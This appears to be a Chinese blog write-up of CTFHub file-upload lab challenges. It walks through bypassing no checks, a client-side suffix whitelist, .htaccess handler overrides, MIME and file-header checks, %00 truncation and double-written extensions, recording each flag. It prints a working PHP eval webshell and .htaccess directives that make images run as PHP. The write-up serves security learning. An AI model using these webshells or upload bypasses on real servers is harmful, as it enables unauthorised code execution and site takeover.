无验证
上传一句话木马
<?php @eval($_POST['attack']) ?>
蚁剑添加数据,密码为attack
成功连接
找到flag
flag: ctfhub{5d24093c73fddbba912490b6}
前端验证
还是传那个一句话木马,不允许上传
只能上传指定后缀的文件,所以可以传完用burp抓包改
function checkfilesuffix()
{
var file=document.getElementsByName('file')[0]['value'];
if(file==""||file==null)
{
alert("请添加上传文件");
return false;
}
else
{
var whitelist=new Array(".jpg",".png",".gif");
var file_suffix=file.substring(file.lastIndexOf("."));
if(whitelist.indexOf(file_suffix) == -1)
{
alert("该文件不允许上传");
return false;
}
}
}
抓包然后把后缀名改回php就行
上传成功
拿到flag
flag: ctfhub{11c1db31b84d37148c5b1e72}
.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
正常传php文件会被拦截,所以传一个jpg后缀,再上传一个.htaccess文件来将这个jpg后缀改成php
代码:
AddType application/x-httpd-php .jpg
或者
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然后上传,我这里用的是第二个代码
然后传一个名字为jpg的文件,不要后缀名
直接连这个文件,他会自动加上php后缀名
http://challenge-f72a30fd86db8f02.sandbox.ctfhub.com:10800/upload/jpg
flag : ctfhub{6dbd94b0b2c2a216c0422d74}
MIME验证
和前面一样,传一个jpg后缀文件,burp抓包改成php就行
或者传php文件,将Content-type后的内容修改为image/jpg
ctfhub{b5652964399b87304ba40269}
文件头检查
jpg图像都是以ff d8开头
复制前四个字节添加到包中
`
传完没有回显
发现这个不能上传jpg图片,,,,,传张正常的都不行。。。
改为png格式
试了很多次都不行,看了下别人的wp,说要加在图片后面
终于上传成功了
flag ; ctfhub{627dfd3139d1f0e356d9841f}
00截断
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
比如,正常输出的是test.txt
https://mp.csdn.net/upfiles/?filename=test.txt
加上%00, 此时输出的是test.php
https://mp.csdn.net/upfiles/?filename=test.php%00.txt
利用这个原理,burp抓包,出来filename处修改,还要在请求头上面添加才能上传成功
flag: ctfhub{056efc18c621d17f55084cb5}
双写后缀
直接上传能上传成功,但是这样就少了后缀名
那么抓包修改名字为1.pphphp ,这样就能绕过
flag : ctfhub{225456f3ae23d81f87fdd93b}